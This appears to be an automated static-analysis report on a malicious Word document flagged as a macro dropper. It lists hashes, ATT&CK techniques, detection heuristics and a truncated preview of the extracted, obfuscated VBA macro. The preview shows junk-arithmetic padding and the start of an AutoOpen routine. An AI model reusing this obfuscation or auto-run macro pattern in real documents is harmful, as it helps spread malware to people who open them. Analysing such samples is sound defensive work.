Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7ad28b39dc5a22e2…

MALICIOUS

Office (OLE)

240.1 KB Created: 2019-03-15 07:32:00 Authoring application: Microsoft Office Word First seen: 2019-04-17
MD5: 59cd023096d611316cd871cb45d62c8f SHA-1: e8e976f58d62bc6a9b94fc01bd6c2c0f3e08f8ae SHA-256: 7ad28b39dc5a22e29f98ac8d32ea0964bc2d10d9722e7377e19a00afddf37f69
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is identified as malicious by ClamAV and contains a high-severity VBA macro with an AutoOpen function, indicating it attempts to execute code upon opening. The macro's obfuscated nature and the presence of GetObject calls suggest it is designed to download and execute a secondary payload, aligning with common dropper functionalities. The embedded URL, though benign, is noted as an indicator.

Heuristics 7

  • ClamAV: Doc.Malware.Droo-6895763-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Droo-6895763-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 60956 bytes
SHA-256: 58d1773ba6c26fe9bc641e3112fedd94fb4bd5dbbd967718abd23289f30e2749
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "uUAAGQ"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function YABAXD()
   If SADUQQ = iQBAADC Then
       uAAQ_AcB = 888878741 * Z_A1GA
       mACXDGwX = KDQZ4D / 538792184 / 648401493 + 540241597 * 905772087 / 824013328 + (toXAXD - Tan(ZcDAAAA + 805681129 - 851011768 - Oct(zAUQZcBD - Hex(768606491) + 36956884 + Oct(892315431))) + (480647307 / Sqr(40570017)))
       E1XQxB = 464988884 * SUDXAkBG
End If
   If XAoxwXo = qkUUUkB Then
       JkwQAAQB = 309639586 * jBGc4D
       ZUA4Qx = dAAQAAU / 794003604 / 100734420 + 385941752 * 901536742 / 212631724 + (SoAwxc - Tan(pA_Qkw_ + 512281271 - 677824301 - Oct(NwDAAA - Hex(189007814) + 442545052 + Oct(876327097))) + (871803250 / Sqr(203362537)))
       AAABoAx = 32221473 * zBAcAX
End If
   If hADcAxG = vBZZBB4c Then
       GDCUAAxU = 855403583 * sGCDAc
       OQXDCQD = JUxAAGU / 75520102 / 698186674 + 538163502 * 667638725 / 249789112 + (qQ4AXQ - Tan(dADCDC1 + 993441065 - 838481048 - Oct(aQAA1A - Hex(986194334) + 228953373 + Oct(296958164))) + (216628725 / Sqr(447222976)))
       zZD1DZX = 176219481 * r1A_BQA
End If
   If RoXGok_B = Ox1DQUQ4 Then
       vCDZBBA = 295894980 * UCAAAw
       ScAXBXw = NwDUoZ / 209823501 / 30696457 + 381666527 * 528298984 / 681695391 + (PAD_BAw - Tan(c4xABoAk + 147684985 - 273512151 - Oct(cAkAQA - Hex(605771107) + 313793255 + Oct(769051826))) + (682560952 / Sqr(418414289)))
       iZDDAo = 310648932 * jAG4GA
End If
   If DZUB1kD = iBXAwAc Then
       wDxAkBB = 685102660 * PAAAcx
       j4x_ADD = SAXwcX / 28805962 / 924213397 + 659305860 * 305546913 / 805719473 + (l44QAA - Tan(KAAo1o + 427230615 - 465388462 - Oct(JAA_oADA - Hex(139328790) + 14449318 + Oct(519724927))) + (322441204 / Sqr(700461209)))
       bBUBk1AB = 116906929 * tDGA4_X
End If
   If zDAckAX = ZUAAAAxA Then
       bUxDAwUQ = 828576262 * qwADG1
       YDDcZZC = tAAC_Q_A / 910957438 / 7896490 + 11474067 * 754344539 / 400014959 + (RQGZUCQ - Tan(ZAAAAQ + 876080710 - 864828435 - Oct(iBU1AGQX - Hex(747469874) + 300746359 + Oct(750140348))) + (667057452 / Sqr(64534236)))
       jcA__Akw = 552311063 * LxXUkA
End If
   If TQ_BXA = LAAAAw4o Then
       OAUBGUCk = 344232585 * voQAAG
       pA_AAA = iDAc1XB / 986043874 / 563166946 + 301960935 * 807096671 / 855556357 + (CUAGA_X - Tan(ckAAxA + 580273531 - 646137033 - Oct(G1QXAoA - Hex(28541599) + 539684308 + Oct(346980475))) + (336587771 / Sqr(865762115)))
       JQQUD4 = 541918621 * E4o_AAA
End If
   If FUkAAAG = bQ1AUQBA Then
       YBAXAxZA = 491993165 * roAZBDDA
       WCkDkXZ = ZcUBD4 / 306634791 / 204146704 + 780307494 * 312953431 / 339698840 + (XAUoD1 - Tan(LAcDAoG + 111908974 - 237480094 - Oct(MU4oAxBA - Hex(270982720) + 144136245 + Oct(575722000))) + (18865400 / Sqr(706819969)))
       ZDUwAX = 839933053 * dU_AUA
End If
   If EDAA4AA = L1QAcxAD Then
       oUAxADQG = 435303769 * jAB1ADU
       RAAkoACo = AxQAAGx / 69795275 / 875219443 + 48581205 * 62254386 / 265738484 + (NQxccAAw - Tan(XQBCk4AA + 716241499 - 11720814 - Oct(vCZ441B - Hex(402114629) + 828613375 + Oct(68065683))) + (545619320 / Sqr(171020734)))
       UcA4QA = 375754650 * bkDCAAAQ
End If
End Function
Sub autoopen()
On Error Resume Next
   If lAoCAAxD = u__1AUD Then
       nDwA1A = 812616669 * YAAxQA
       qwAGCD = SDQAAAA / 416222261 / 997207107 + 394096036 * 322589883 / 519404136 + (ocDc4AG - Tan(WQDBoXDQ + 273806910 - 146596640 - Oct(ExAcQQZx - Hex(140042709) + 719667344 + Oct(235671124))) + (293120058 / Sqr(233511879)))
       ic_oA_kD = 889587650 * SwA4ADA
End If
   If joAAZAA = mAZxAD Then
       uAAQAX = 278701557 * mAA4_cB
       dBADA4 = MXDBcoA / 353977103 / 267331403 + 103246264 * 230330714 / 716065697 + (IQxQAGU - Tan(wAZAAAAB + 450182160 - 599796431 - Oct(FAAAQ4AX - Hex(889495288) + 353323007 + Oct(555858182))) + (269642298 / Sqr(901513165)))
       DQc_wC = 437399596 * ZAcD_Q
End If
... (truncated)

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